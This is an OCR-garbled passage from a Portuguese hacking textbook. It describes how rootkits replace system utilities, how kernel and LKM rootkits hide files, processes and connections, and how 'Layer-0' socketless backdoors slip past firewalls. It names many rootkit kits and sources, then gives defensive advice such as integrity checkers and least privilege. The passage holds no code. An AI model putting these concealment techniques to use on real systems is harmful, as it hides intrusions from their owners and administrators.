IIS modificados. A seguir, fornecemos uma lista (bastante incompleta) de comandos e programas que podem ser substitudos por rootkits. Existem vrios rootkits para cada um desses programas, portanto sugiro que o leitor, ao tomar contato com algo novo, experimente em seu sistema de testes. Para Unix, os programas mais visados por desenvolvedores de rootkits so: login, ifconfig (no Linux), du, df, pwd, su, sudo, netstat, nc (sim, o prprio Netcat pode estar adulterado!), ps, find, slocate, updatedb. Os utilitrios de configurao no escapam ilesos a rootkits: SAM no HP-UX,Admintool no Solaris, Smit noAIX, Linuxconf,Webmin... Mesmo comandos internos de alguns shells - como ls e cd no Bash - podem ser mascarados com wrappers que escondam arquivos ou mintam sobre seus tamanhos. Uma malvadeza maior instalar verses rootkit dos shells disponveis (Bash, csh, ksh, etc) ou de servidores como Apache e mesmo inetd/xinetd para abrir backdoors "sob demanda". Para Windows a lista parecida. O prprio cmd.com pode ser alterado para mascarar aes maliciosas em funes internas como o DIR e o CD.Adicionalmente, muitos dos arquivos do Windows, como os j citados EXPLORER.EXE e TASKMAN.EXE, podem ser "torcidos". Cuidado ainda com alguns utilitrios freqentemente usados, como a Calculadora (CALC.EXE), o Bloco de Notas (NOTEPAD.EXE), o WordPad (WRITE.EXE) e o Editor de Registro (REGEDIT.EXE). Todos esses programas esto presentes em qualquer verso do Windows, mesmo em servidores, e podem ser manipulados para funcionar como rootkits. Ateno especial deve ser dada tambm s DLLs compartilhadas por muitos aplicativos, especialmente o MFC.DLL. 13221
Ataque, defesa e contra-ataque: Manuteno

Universidade 3 ano

A lista muito mais vasta do que a que mostramos. No caberia aqui elencar todos os tipos e todos os programas que podem ser alterados por rootkits. Como sugesto, em Unix pesquise sobre lkr5, utrojan, backdoored sendmail, tOrnkit, rkssh, APSR, bdoor, wOOwOO, IOgin.kit, bd2, vexed, falcon-ssh, Trojanit, rootkitSunOS, sol, e Raditz (malvado: substitui o Tripwire!), entre outros. Esse tipo de rootkit (substituio de programas e utilitrios do sistema) mais comum em ambientes Unix do que em Windows, embora haja tambm inmeras ferramentas para o sistema da Microsoft. Para comear, procure por ads_cat, FakeGINA, fu.ZIp, Xshadow, Hacker Defender, Hacker's Rootkit for NT, Slanret, Krei, IERK (ierk8243.sys), Backdoor-ALI, Caesar's RegWrite Injector, null.sys, HE4Root (ou HE4Hook) e IIS injection. Para saber mais sobre esses rootkits e novas tcnicas sobre o tema, procure por informaes em www.packetstormsecurity.nl , no www.securityfocus.com, no www.windowsecurity.com, no site oficial da Microsoft (www.micro soft.com) e, principalmente, no Google ;-).

There is no spoon
Rootkits no so to fceis de identificar como os cavalos de tria e backdoors comuns. Um Back Orifice ou um Netcat escutando em uma porta podem ser facilmente descobertos com um simples netstat. Mas se o netstat estiver rootldtted, a coisa muda de figura - a informao sobre as portas abertas do backdoor estariam cobertas. O mesmo ocorre com os processos: um EXPLORER.EXE modificado ainda assim aparece apenas como Windows Explorer no Gerenciador de Tarefas. Entretanto, apesar de mais elaborados, rootkits comuns que alteram a funcionalidade de programas ordinrios do sistema operacional podem ser detectados por caractersticas no bvias, mas, mesmo assim, aparentes. O programa alterado pode ter sua data de criao diferente das demais. Mesmo que seja igual, o tamanho pode ser diferente do original, verificado em outras mquinas. Se o tamanho for igual, seguramente sua estrutura interna no o , e pode ser comparado byte a byte com a de um sistema so. Outra alternativa verificar o checksum dos arquivos que compem o programa. Sistemas Unix normalmente utilizam-se de uma assinatura MD5 para garantir a idoneidade dos arquivos. Em sistemas Windows, a Microsoft adota um procedimento semelhante, baseado em esteganografia aplicada ao logotipo do Windows. Em qualquer dos casos, se a assinatura no bater com a original, o programa seguramente est adulterado e precisa ser apagado ou substitudo. Administradores realmente paranicos (e eles no esto errados, longe disso!) instalam controladores de inventrio com verificadores de integridade de arquivos (como por exemplo, o Tripwire ou o AIDE) em todos os seus computadores (inclusive estaes de trabalho). Qualquer arquivo que seja alterado por um rootkit ser detectado na prxima verificao e uma mensagem de

1323 I
I

Ataque, defesa e contra-ataque:

Manuteno

I Universidade

H4CK3R I

alerta vermelho surgir na tela do administrador. Para fugir deste cenrio, os hackers criaram uma modalidade de rootkits com um nvel mais elevado de camuflagem. Desta vez, os arquivos e programas de sistema ficam intactos: o prprio kernel do sistema operacional substitudo por outro completamente adulterado. Uma dualidade parecida com a do Super-Homem e seu antiego, o Bizarro (ahhh, bons tempos em que passava as manhs vendo os Superamigos...). J falamos sobre kernel em vrios captulos e mesmo nos apndices. Todo o processamento do sistema obrigatoriamente passa por ele e, portanto, control-Io como em uma possesso demonaca algo extremamente poderoso e destrutivo. Entre as iniqidades que podemos praticar a partir de nossa possesso esto: ~ Camuflagem de arquivos do invasor, exatamente como nos rootkits comuns.A diferena que, sendo pelo keme1, tal artifcio praticamente impossvel de ser contornado ou mesmo descoberto. ~ Camuflagem de conexes de rede. Da mesma forma como fizemos, em Unix e em Wmdows, com uma verso alterada do comando netstat, um kernel rootkitted pode tambm esconder conexes especficas. Apenas sniffers rodando em outras mquinas so capazes de detectar tais conexes. ~ Camuflagem de processos. O kemel gerencia os processos. O prprio keme1, ento, que d a lista deles para os programas que os listam (ps no Unix, Gerenciador de Tarems no Wmdows). Com isso, fica fcil esconder desses programas (e, portanto, dos usurios) os processos nocivos que estejam rodando. ~ Redirecionamento. Imagine o seguinte cenrio: um invasor "plantou" programas nocivos na pasta C:\WINDOWS\SYSTEM32\ em um sistema Windows NT 4. O rootkit no kernel trata de esconder esses programas enquanto mostra normalmente todos os outros arquivos da mesma pasta. Um desses arquivos uma cpia modificada do Windows Explorer (EXPLORER.EXE). Cada vez que o Windows solicita a execuo de uma nova instncia do Explorer, em vez de abrir o programa original, o kerne1 vai redirecionar a execuo para o Explorer modificado. Qualquer ferramenta de auditoria ir testar a integridade do EXPLORER.EXE original (armazenado na pasta C:\WINDOWS)e o encontrar intocado. Usando essas quatro traquinagens, o programador que desenvolveu o rootkit pode criar duas realidades para o administrador de usurios. Uma, bela e sem problemas, completamente falsa.A outra, cheia de furos de segurana, portas de trs e manipulao indevida de documentos e arquivos, a real. Cabe ao administrador decidir se continua vivendo feliz em sua redoma virtual ou se ingere o comprimido vermelho. Alterar um kernel por meio de rootkits fcil e pode ser feito de duas maneiras. A primeira por meio de patches, e a preferida por hackers que desenvolvem para Wmdows. Funcionando da mesma maneira que os Hotfixes e Service Packs da prpria Microsoft, um patch para inserir um rootkit sobrescreve arquivos inteiros ou parte deles, injetando novas rotinas e desvios e fazendo-os respon13241
Ataque, defesa e contra-ataque: Manuteno

Universidade 3 ano

der diferentemente do originalmente previsto. Como o kernel do Windows composto por algumas dezenas de DLLs acessveis pelos usurios, a tarefa, apesar de trabalhosa, simples e s vezes sequer necessita ser executada por um usurio com muitos privilgios sobre o sistema. Como toda instalao em um sistema Windows, aps a aplicao do patch o sistema deve ser reiniciado - mas isso pode ser feito pelo prpro invasor e em mais de 90% dos casos tal anomalia ser considerada pelo administrador da mquina como "apenas mais um pau no Windows". A outra maneira, mais apreciada pelos amantes do Unix, funciona por meio de Mdulos Carregveis do Kernel (Loadable Kernel Modules ou LKM). Se o leitor no pulou os importantes captulos sobre sistemas operacionais, deve lembrar-se de que, ao contrrio do microkernel do Windows, os Unix em geral so monolticos. Um nico mamutesco e por vezes criptografado arquivo en-. globa o ncleo central e a maioria dos drivers de dispositivo do sistema. medida que os sistemas Unix iam evoluindo, percebeu-se que a poltica de kernels monolticos deveria ser "flexibilizada", caso contrrio teramos sistemas cujo ncleo residiria num arquivo de dezenas ou mesmo centenas de megabytes contendo milhares de drivers para hardware que nunca vamos adquirir. Por isso, os kernels passaram a ser modulares: um ncleo base (longe de ser um microkernel) seria carregado primeiro, e os demais drivers apenas seriam carregados se o hardware fosse solicitado. Esses drivers (e alguns programas e utilitrios que rodam em modo kernel) residem em LKMs. fcil notar que possvel alterar o comportamento do kernel com mdulos carregados muito depois do boot. Um LKM pode inclusive ser carregado sob demanda, automaticamente ou a partir de um comando emitido remotamente pelo invasor atravs de um backdoor comum. Pesquise sobre os LKM rootkits de seu sistema operacional e, preferencialmente teste todos os que encontrar (em nossa rede de testes e no em ambiente de produo!!!). Relacionamos alguns mais famosos (ou informaes para entender LKMs nas diversas plataformas), mas intencionalmente no colocamos os mais recentes para acostum-Io a procurar. Para Windows (9x e NT): www.rootkit.com (passagem obrigatria). Para Linux: Adore, Carogna (prOgeto CarOnte), Knark, phide, heroine.c, spooflkm, suidshow.c, kinsmod, Rial, THC Backdoor (lkm), kernel.keylogger, SucKlT, 1kminject; Para Solaris: Plasmoid, slkm, ksolaris, THC Backdoor (1km); Para FreeBSD:AdoreBSD, ipfhack, lbk, THC Backdoor (lkm); Para OpenBSD: AdoreBSD, obsd_ipfhack, THC Backdoor (lkm); Para Windows 9x (veja s!): Burning Chome. Como ltima dica, leia estes white papers: ~ www.wOOwOO.org/files/articles/lkmhack.txt; ~ packetstormsecurity.nl/docs/hack!LKM HACKlNG.html; ~ packetstormsecurity.nl/Win/vxd. txt.
1325
I

Ataque, defesa e contra-ataque:

Manuteno

I Universidade

H4CK3R

Comunicaco sem conexes


I

Tudo isso muito bom, tudo isso muito bonito, mas qualquer servidor - seja ele HTTP,SMTP,Finger ou mesmo um backdoor embutido no kernel - precisa de sockets para se conectar. Como vimos, um socket , grosso modo, um trio IP/Porta/Protocolo. Portanto, para me conectar a um servio qualquer (um servidor SSH,por exemplo), tenho de criar uma conexo entre o meu cliente SSH e a porta 22 daquele servidor. Com backdoors a mesma coisa: se eu improvisei um servidor com Netcat "escutando" na porta 9999, preciso me conectar a essa porta (e manter a conexo) para interagir com ele. Isso quer dizer que mesmo em sistemas comprometidos por rootkits possvel descobrir falcatruas desse tipo. Basta rodar um sniffer como o Ethereal em outro computador da rede (a estao de trabalho do administrador, por exemplo) e todas as conexes esprias podem ser detectadas, certo? Detesto dizer isso, mas novamente a resposta no. H pelo menos uma maneiras conhecida3 de esconder o trfego e no precisar de conexo para trocar pacotes, que combina sniffing e spoofing com a manipulao da pilha TCP/IP.

Ouvidos moucos
Firewalls e antivirus so as estrelas do momento no tocante segurana de redes e computadores. Coloca-semuita f em ambos os dispositivos e, num comportamento normal em sereshumanos, relaxa-senos demais aspectos de segurana. No estamos dizendo que sejam despesas inteis, pelo contrrio: ftrewalls e antiv1fUsmantm longe de seus sistemas um nmero asustador (muitos milhes) de script-kiddies.Mas entre centenas de milhares de kiddies h de haver um hacker de verdade. Na verdade, nenhum ftrewall - seja ele por software ou personificado em um
hardware dedicado

- chega sequer prximo de deixar qualquer mquina segura,

caso um hacker desses apresente-se para o confronto com sua rede ou seus servidores. Pense um pouco: seu ftrewall tem de, obrigatoriamente, deixar passar os protocolos e servios que os usurios usam. Se os seus usurios so autorizados a usar programas de Instant Messenger (ICQ, por exemplo), as portas do ICQ devem estar liberadas para trfego sainte e entrante. Se os seus usurios usam a World Wide Web, trfego HTTP sainte pela porta 80 e entrante por portas altas deve, tambm, ser liberado. S no cenrio acima, vemos que as portas 25 e 80 sempre estaro l, abertas para quem quiser usar.Inclusive para o hacker que, usando todos os truques que vimos em Vulnerabilidades e nestes captulos finais,pode pesquisar toda a sua rede interna e explorar vulnerabilidades conhecidas usando apenas a porta 80. Como se diz comumente em crculos crackers, "a porta 80 sempre estar l"... E o que o carssimo ftrewall pode fazer a respeito, eu pergunto? Talvez registrar todos os pacotes que passarem por ele, para futura anlise - se muito.
3. Lembre-se: h mais tcnicas em poder de cls hacker e mantidas em segredo do que as maneiras divulgadas de se fazer a coisa. Espere e fique atento para novidades na rea em breve!

3261
Ataque, defesae contra-ataque: Manuteno [

Universidade 3 ano

Farejando problemas (comunicao sem sockets)


Como vimos no captulo anterior, podemos farejar a rede toda e recolher trfego mesmo que no seja endereado a ns. A utilizao mais bvia dessas tcnicas , realmente, "escutar" a rede para descobrir dados, usurios, senhas e, possivelmente, capturar conexes. Mas h ainda um novo truque que podemos fazer com sniffers. Conexes estabelecidas por meio de sockets so mostradas com uma simples consulta ao netstat. ~ y-.;:;/
Mesmo que seu sistema 'a absurdamente este J

II

Barramento da Rede

P~rtas

naousadas - -- - -- -- - -- - -,

trojanizado e cheio de rootkits, as conexes: . T C P esta b e 1eCl d as ( e


mesmo trocas de pacotes UDp, que no usam conexes, mas, sim, usam sockets) podem ser monitoradas por outras mquinas. Mas e se no houver conexo?

: BackdoorcomSniffer :
, ,
Servidorde e-mail

Ir+::=

11-

ServidordeWEB

:Host comTraian"Promieuo"

I iI ~

BROAOCAST ou pacotedestinadoa IP INEXIXTENTE com fragmantodecomando parao BACKDOOR

Um trojan ou backdoor e o software cliente rodando no computador do invasor podem comunicar-se com ou por meio de trfego esprio. O hacker envia pacotes TCP ou UDP a computadores no existentes na rede, mas dentro da faixa de IPs aprovada pelo ftrewall. Como no endereada a ningum, a mensagem morre dentro da rede e no se fala mais no assunto. S que o computador com o backdoor socketless, farejando tudo indiscriminadamente, capturou o pacote sem destino e o processou. Simples como roubar doce de criana.

Gateway
,, -- -- ---, '
u ,

, ,

, I 'BACKDDDR I , I
, I '- - - - - - - - -'
Host com Trajan"Pramicuo"

, ,

Para o caminho inverso, o backdoor utiliza-se de programas j existentes no computador e que j fazem, pela prpria natureza, conexes por sockets. Um browser o melhor exemplo. O Z Usurio abre seu Internet Explorer e digita www.pornoshow.com.ru. O backdoor detecta a conexo e injeta, no meio do trem de dados, um ou dois bytes por pacote em reas nas quais no vo causar problemas (o enchimento, por exemplo, ou o fragment offset quando este no 13271

IAtaque,

defesa e contra-ataque:

Manuteno

I Universidade

H4CK3R I

usado). Dependendo do protocolo usado como burro de carga, possvel


inclusive, colocar mais dados no prprio payload IP.O endereo IP de destino no alterado, e o invasor precisa estar posicionado no caminho da conexo para farejar os pacotes e extrair deles os dados da comunicao.

Atualizando a camuflagem
Um sniffer em modo promscuo, entretanto, ruidoso numa rede e pode ser facilmente detectvel com ferramentas especiais. Mas nada impede que um sniffer seja executado em modo exclusivo, farejando apenas o trfego que entra e sai. Nesse caso, o hacker no envia para a rede pacotes com IPs inexistentes, mas sim direcionados exatamente para a mquina onde est o backdoor. Mas com um detalhe: direcionados a portas que no estejam em uso. Em um computador normal, a pilha TCP/lP simplesmente ignoraria os dados que chegam a portas Portas ~ Barramento inexistentes ou desada Rede tivadas. Mas em nosso Portas caso, o backdoor est escutando tudo o que , BACKDOOR } L +-' chega em todas elas. So , '- - - -- -- - - - - -' virtualmente 65 mil I portas TCP e outras 65 Pacote destinado nicamente mil UDP que o ao Host Trojanizado, com backdoor ou trojan fragmento de comando para o BACKDOORe escolhendo r aleatoriamente uma Porta pode usar para escutar 8 HostcomTroJan "N'o.Promicuo" o que chega, mesmo As conexes nao que a conexo no seja sao estabelecidas! (sem SYNIACK) estabelecida.

- --

- _n:~ U_S:das

Muitos diriam que isso impossvel, que existe a obrigatoriedade de estabelecer um socket para recolher dados de uma porta. Ledo engando. Os sniffers comuns (mesmo os mais simples) esto a para provar que se pode escutar trfego mesmo que no seja direcionado ao seu MAC!!!Se no h necessidade de conexo no protocolo Ethemet, possvel recolher qualquer dado de qualquer porta sem que seja necessrio conectar sockets a elas. Essa tcnica chamada de Layer-O Listening. Como veremos mais adiante, possvel colocar uma camada adicional entre quaisquer duas camadas da pilha OSI (ou TCP/IP,na prtica) e manipular dados l. Essa camada pode, inclusive, ficar nas camadas de mais baixo nvel, ou mesmo entre a pilha e a interface de rede tlsica (da o nome Layer-O, uma vez que a camada tlsica a l).As ferramentas que normalmente usamos para detectar, monitorar e barrar conexes e V1rtlS - netstat, nbtstat, firewallse antiv1rtls locaisetc, etc, etc. esto posicionados antes da pilha TCP/lP (ou seja, a pilha fica sempre entre a

3281
Ataque, defesa e contra-ataque: Manuteno r

Universidade 3 ano

ferramenta e a rede). Qualquer manipulao ou insero que faamos no fluxo de dados poder ser retirada antes de chegar s ferramentas em questo. Portanto, para que o backdoor que use tcnicas de Layer-Opossa escutar a rede, pelo menos um dos trs requisitos abaixo deve ser preenchido: ~ Os pacotes so endereados ao MACda interfacede rede do computador invadido ~ A mensagem um broadcast, ~ A conexo ponto-a-ponto, como por exemplo em conexes discadas via modem, ISDN/RDSI ou xDSL com pppoe. A partir desses pr-requisitos, possvel interagir com o backdoor/trojan usando os seguintes expedientes: ~ Broadcasts em seqncia; ~ Pacotes ICMP em seqncia (ping, Destination Unreachable e Traceroute); ~ Pacotes enviados a qualquer porta do equipamento - aberta ou no; ~ Pacotes rejeitados pela pilha TCP/IP por serem malformados ou encapsulados de forma equivocada (note que eles tm de ser perfeitos nas camadas 2 e 3 para serem roteveis, o que nos deixa apenas a camada 4...). Os pacotes so rejeitados pela pilha TCP/lP mas no pelo trojan. Essas coisas so possveis de fazer em praticamente 100% dos casos, nas redes modernas baseadas em Ethernet (ou PPP/SUP) e TCP/lP. Estima-se que pelo menos um aplicativo bem conhecido se utilize dessas tcnicas: o to falado Magic Lantern/Carnivore, do governo dos Estados Unidos, usado para monitorar o trfego na Internet procura de terroristas, pedftlos e hackers de planto.

Layer-o: como funciona


Todas as informaes aqui reproduzidas foram obtidas nos foruns abertos do trojanforge.netAmaioriadelasfoipostada por M3du54,um membro do grupo trojanner britnico DaVinci.Esse grupo foi o responsvel, em 1999, pelo desenvolvimento do trojan LSPThe Mini Baug e diversos outros baseados em VxDs,portanto toda a teoria aqui descrita j foi colocada em prtica pelo menos em provas de conceito. Voltemos aos kernel rootkits. Com eles, podemos adicionar drivers, funcionalidade e problemas em modo kernel aos sistemas operacionais. Podemos, inclusive, brincar com a pilha TCP/lP e adicionar camadas de baixo nvel entre elas. Portanto, simples LKMs nos Unix e patches no Windows podem adicionar ao sistema funcionalidades Layer-O. Tomando o Windows 9x como exemplo, possvel criar um VxD (releia o captulo sobre plataformas Windows) que implemente essa camada. Um ftrewall local (como o ZoneAlarm, o BlackIce ou o Tiny Firewall, por exemplo) trabalha no lado "de dentro" da mquina, depois que os dados j passaram por toda a pilha de rede. Se houver algum pacote ou comunicao maliciosa ocorrendo, o ftrewall nunca saber. A camada extra adicionada extrair os dados pertinentes conexo do hacker e os passar - por comunicao interprocessos e pulando toda a estrutura TCP/lP - para o backdoor ou trojan.

13291

]Ataque,

defesa e contra-ataque:

Manuteno

I Universidade H4CK3R I

Uma simples DLL que exporte uma SPI (Service Provi der Interface) tanto para as camadas superiores (TCP ou mesmo de aplicao) quanto para as de mais u --u -- - -- - - -- - -- -, Extra baixo nvel (a camada IP Ethernet ou PPp,por exem---:c Retira -. -~AC~DDD_R pIo) pode intermediar a cocomandos --e Ethernet devolve pacote TCP "Limpo" municao e "pular" o stack TCP/IP. Essa DLL poderia usar parasiticamente portas Rede de comunicao - ou seja, aproveit-Ias estando elas em uso ou no, e no conectar sockets caso no estejam - e tambm gerar portas-fantasmas que no so mostradas em ferramentas como o Netstat ou o Ethereal. Ou, pelo contrrio: essas portas-fantasmas poderiam estar mostrando trfego falso, mas "benigno", confundindo o administrador de que est tudo bem. Ou mais malvado ainda: apresentar para os aplicativos trfego de rede como sendo local (inter-processos) e desviar trfego local originado por aplicativos para a rede e no para os processos a que se destinam. No caminho contrrio, a DLLpoderia injetar a comunicao de resposta ao hacker no fluxo de dados de um aplicativo existente, reconhecido e autorizado - seu browser padro, por exemplo, ou aquele programinha de mensagens instantneas. Mas h uma maneira mais ultrajante ainda - e mais eficiente. At agora no havamos chegado a uma implementao Layer-O ver,muuuum, dadeira. Mas transcenden-

.L~~~~~~~~-j do o TCPIIP,pode-se "plantar" a DLLem uma camada o mais baixo possvel na pilha de rede - abaixo at ~ Rede , (ou imediatamente antes, dependendo do caso) do Ethernet, do PPP/SLIP ou mesmo de coisas mais especficas como Frame Relay ou X.25. Uma conexo dessas nunca ser mostrada em qualquer sniffer ou pelo netstat, nunca ser detectada pelo firewall local baseado em software (ZoneAlarm, BlackIce etc...) e provavelmente passar pelo firewall/gateway externo pois usar conexes vlidas como "laranjas". Qualquer auditoria no registro de pacotes (voc costuma ler regularmente os logs do seu firewall, no mesmo?) mostrar apenas pacotes originados pelos aplicativos comuns - seu browser, cliente de e-mail, MSN Messenger...

330 I
Ataque, defesa e contra-ataque: Manuteno

Universidade 3 ano

Para a pilha TCPIIP, o backdoor/ trojan est do lado de fora do computador invadido, portanto a pilha no o consegue ver e, portanto, os software Inrface / Aplicativo TCP firewalls no conseguem detectar. Por IP outro lado, ainda um programa roEthernet , dando no computador, possivelmente ; BACKDOOR : Extra ~, ~-------------- , em kemel mode e, com acesso (por coDriver da Placa municao interprocessos) a qualquer outro programa da mquina. Isso faz com que literalmente todas as portas do seu sistema estejam ao servio do backdoor/ trojan, e qualquer registro do firewall vai mostrar conexes legtimas de rede. Mais ainda - possvel interceptar qualquer chamada a qualquer API (do kemel ou de programas) e acessos a disco e illtr-Ios, remape-Ios ou retomar uma mentira. possvel inclusive enganar IDSscom a tcnica. Nojento e eficaz! Pesquise sobre o modelo de referncia OSI, no MSDN (msdn.microsoft.com) e no TechNet (www.microsoft.com/technet) para saber mais sobre VxDs e sobre a estrutura LSP/NPI/TPI/SPI da pilha de rede Microsoft. Obviamente, para entender o que est nesses recursos so necessrios conhecimentos moderados de programao de baixo nvel - nada de Delphi ou Visual Basic - na plataforma Windows, especialmente se tiver acesso a uma assinatura do DLL Developer Kit (DDK) ou do Software Development Kit (SDK). Para qualquer outra plataforma (Unix, VAX/VMS,Novell, AS/400, Macintosh, IBM S/390...), o raciocnio e as tcnicas so exatamente as mesmas.

Defesa e Contra-ataque
Defender-se das ameaas mostradas neste captulo no muito fcil. H trojans que, mesmo sendo facilmente detectveis, so extremamente difceis ou mesmo impossveis de serem removidos. Na experincia dos autores, houve pelo menos duas situaes (um Wmdows 98 SEe um Wmdows 2000) em que nem a recuperao da imagem original de instalao, distribuda nos CDs que vieram junto com o computador, removeu o trojan. Houve a necessidade de refazer as parties (apagamento e criao) e formatar o disco rgido, alm de usar uma ferramenta de apagamento total para remover quaisquer traos do software malicioso. Em alguns casos, possvel monitorar as conexes e, uma vez detectada a presena do invasor, rastre-Ias at se chegar ao culpado. No hesite em contar com a polcia e com um bom time de advogados caso alguma ao do hacker malicioso possa ser enquadrada como crime.

Backdoors, Vrus e CavaLos de Tria


Apesar de serem todos softwares com aplicaes diferentes, a profilaxia e o remdio para eles , basicamente, a mesma, uma vez que as formas de contgio e os mtodos para deteco e eliminao so parecidos.

1331 I

IAtaque,

defesa e contra-ataque:

Manute~

I Universidade

H4CK3R I

Antes de mais nada (ou, como diria um companheiro de software livre, em "zerzimo" lugar), eduque-se e eduque seus funcionrios ou familiares quanto a prticas seguras de utilizao de recursos de informtica e navegao na Internet. Isso inclui os famosos bordes que as mames nos disseram a vida toda (e dizem at morrer): no aceite balinha de estranhos e no aceite balinhas estranhas de pessoas conhecidas. Cuidado com as drogas (Le. Coisas que voc sabe que so perigosas) e muito cuidado quando andar em locais ermos, pouco iluminados ou suspeitos. So conselhos sbios tambm para a Internet e para as redes corporativas. , mame tinha razo... bvio que o usurio comum no tem como saber se algum programa nocivo ou foi adulterado, ou se aquele site contm cdigo malicioso, ou se o documento interno da empresa (e, portanto, oficial e autorizado) em formato .DOC contm algum vrus de macro... Mas um pouco de cuidado e alguma parania pode livrar macaco velho de vrias cumbucas. Quanto aos cuidados puramente tecnolgicos que podem ser implementados, em primeiro lugar tenha sempre antivrus e firewalls locais (baseados em software) atualizados. Sim, eu seu, l atrs eu disse que, caso o atacante (ou o vrus) fosse realmente bom, essas ferramentas no iriam servir para nada. Entretanto, seremos "visitados" muito mais por moleques tentando brincar de "r4qu3r" do que por bandidos digitais com algum profissionalismo. Portanto, firewalls locais como o Zone Alarm, BlackIce ou o Tiny Firewall ajudam muito a manter a legio de kiddies longe de seus computadores. Ao mesmo tempo, um bom firewall de rack (como o Cisco PIX) ou implementado com um Unix (velhos 386 com Linux ou OpenBSD do excelentes firewalls), com regras de filtragem e, de preferncia, com conexes via proxy, tambm ajuda a barrar os lammers. Sugerimos implementar, seja em casa ou em uma rede corporativa, ambos os tipos de firewall: local (por software) e no ponto de conexo (por hardware). Da mesma forma o, antivrus devem ser usados para barrar os vrus conhecidos. Mesmo que os antivrus no detenham uma pequena parte dos virus conhecidos e praticamente todos os desconhecidos, seu uso obrigatrio. No porque est gripado e no h remdio para isso que voc ir deixar de tomar um analgsico para a dor de cabea. Um outro ponto importante a ser observado : conhea o software que est instalado em seu computador. comum, em casa, que baixemos e instalemos qualquer bobagem bacana que encontremos na Internet ou que venha em revistas com CDs. Tal prtica deve ser evitada em computadores domsticos e terminantemente proibida em computadores corporativos. Conhecendo os softwares instalados no computador, ficar fcil (em alguns casos - noutros no...) de notar alguma coisa estranha rodando na mquina. Um terceiro item obrigatrio de segurana a adoo de polticas de usurios e administrao. As estaes de trabalho em empresas devem empregar softwares e sistemas operacionais que permitam um controle total por parte

13321
Ataque, defesa e contra-ataque: Manuteno [

Universidade 30 ano

dos administradores, e que restrinjam ao mximo o que o usurio comum pode fazer. Isso inclui bloquear a instalao de programas e acesso a reas no autorizadas do computador (como o diretrio C\WINDOWS ou o Ibin em mquinas Unix). H empresas que usam Macintoshes com Mac OS X, ou Windows NT/2k/XP, ou mesmo algum Unix para PCs como o FreeBSD ou o Linux. A escolha corretssima, pois esses sistemas permitem montar polticas de direitos sobre o computador e impedir que os usurios (ou algum vrus ou cavalo de tria) instalem software no autorizado na mquina. Mas de nada adianta colocar um Windows XP Professional como estao de trabalho e no configur10 para segurana, deixando-o com as opes padro. Deve-se fazer a sintonia fma e retirar do usurio comum todas as permisses de acesso que possivelmente sejam danosas para a estao e para a rede. Mesmo em casa, os usurios domsticos do Windows NT/2k/XP e Mac OS devem criar contas de usurio sem muitas permisses e efetivamente usar essas contas no dia-a-dia!!! Deixe a conta do administrador apenas para administrao e instalao de programas. O mesmo vale para os j no to poucos usurios domsticos de Linux. O Linux (e qualquer Unix) j vem "de fbrica" com esse esquema de usurios e permisses. Mas (sempre tem um mas) os usurios sempre "do um jeito" de subverter esse esquema e comprometer a segurana. Coisas como subverter o uso do o sudo ou operar com o usurio root (o maior sacrilgio de todos) so muito comuns. Se voc foi infectado, no use qualquer ferramentas de desinfeco que no seja de produtores idneos. Baixar uma ferramenta de um local suspeito que promete retirar o Sub7 do seu computador loucura. Ele pode tanto fazer o que promete, como remover o Sub7 e instalar outro backdoor, ou ainda "patchear" o Sub7 para que seu antivrus no o detecte - mas ele continua l. Quanto aos rootldts, uma grande maneira de evit-los nunca deixar um usurio com poderes suficientes para chegar s partes crticas do sistema. Um rootkit precisa ser instalado. Mesmo que a instalao seja automtica, ele sempre rodar no contexto do usurio. Deixar os usurios com nveis mnimos de acesso pode dificultar a instalao e ao dos rootkits. Alm disso, a conta Administrador ou root deve ser observada e guardada a sete chaves. Senhas difceis de quebrar ou mesmo de adivinhar so obrigatrias. Aplicativos que no rodem como root/ Admin (nunca!) e portanto isolando a conta principal de qualquer buffer overflow tambm so importantssimos. Mesmo sistemas bem protegidos, atualizados e configurados possuem falhas. Portanto, possvel que um dia algum hacker consiga acesso privilegiado a seu sistema. Para detectar desvios de configurao e instalao de rootkits, instale IDSse programas de inventrio de integridade de arquivos - Tripwire (www.tripwire.com) e AIDE(wwwcs.tut.fi/-rammer/aide.html) so os mais conhecidos. Verifique as assinaturas de todos os programas instalados e a integridade dos arquivos de configurao. Todos os desenvolvedores de software modernos possuem bancos de dados com as assinaturas MD5 de seus executveis crticos.
Ataque, defesa e contra-ataque: Manuteno

13331

I Universidade

H4CK3R I

Quanto a rootkits baseados em kernel, em primeiro lugar,no deixe que cheguem ao seu ncleo! Para comear, se o seu sistema pennitir (e se voc no usar nenhum mdulo importante), desabilite a opo de carregar LKMs. Vaipoupar muitas dores de cabea. Se for o caso e, se possvel, recompile seu kernel ou pea para seu fornecedor faz-Io.Um kernel imune a LKMscertamente estar imune a rootkits LKM. No caso dos Windows (mesmo da famliaWinNT), que no possuem um esquema formal de LKMs, a nica maneira de evitar kernel rootkits impedir que os arquivos sensveis possam ser alterados por qualquer usurio, alm de cuidar para manter a senha do Administrador em segurana. Um truque muito usado deixar a conta chamada Administrador com uma senha difcil mas sem direito algum sobre o sistema, e assim criar um despiste para invasores. Cria-se, ento, outra conta, com outro nome e uma senha igualmente difcil, e este usurio ser o administrador de fato. E desabilite o suporte a Lan Manager. Note que possvel simular a implementao de LKMsno Wmdows por meio de VxDs (releia o captulo sobre Plataformas Wmdows) e, portanto, o acesso pasta C\WINDOWSou C\WINNT deve ser bloqueado a todo custo para usurios comuns. Uma maneira de verificar os discos rgidos procura de rootkits (sejam baseados em kernel ou no) retir-Ios e intal-Ios em uma mquina s, sem direito de execuo de programas. Os HDs sero considerados como drives de dados no sistema de testes, e como no so o kernel e os programas infectados que esto rodando, e sim os da mquina confivel, todos os arquivos e alteraes dos rootkits ficaro aparentes e passveis de verificao. Para verificar se um rootkit est farejando a rede, rode, voc mesmo, um sniffer como o Ethereal. Verifique os modos de operao da placa de rede. Se, mesmo com o sniffer, a interface no aparecer em modo promscuo, um rootkit seguramente o est camuflando. Em ltimo caso, no aproveite nada de um sistema comprometido. Faa backup dos dados (e apenas dos dados, no da configurao!!!) e reformate completamente o sistema, reinstalando-o do zero. No esquea de configur-Io e atualiz-Io completamente antes de o colocar em produo, caso contrrio o invasor pode entrar novamente pelo mesmo buraco de antes. Guarde uma cpia do HD comprometido para futura anlise e investigao do ataque. Se possvel, guarde o HD original e coloque um novo no lugar. possvel que o invasor tenha deslizado em apenas um detalhe nfimo, mas esse detalhe, se descoberto, pode levar sua localizao e, se a lei permitir, a sua priso. Uma ltima dica: Echolot (echolot.sourceforge.net).

Comunicao sem conexes


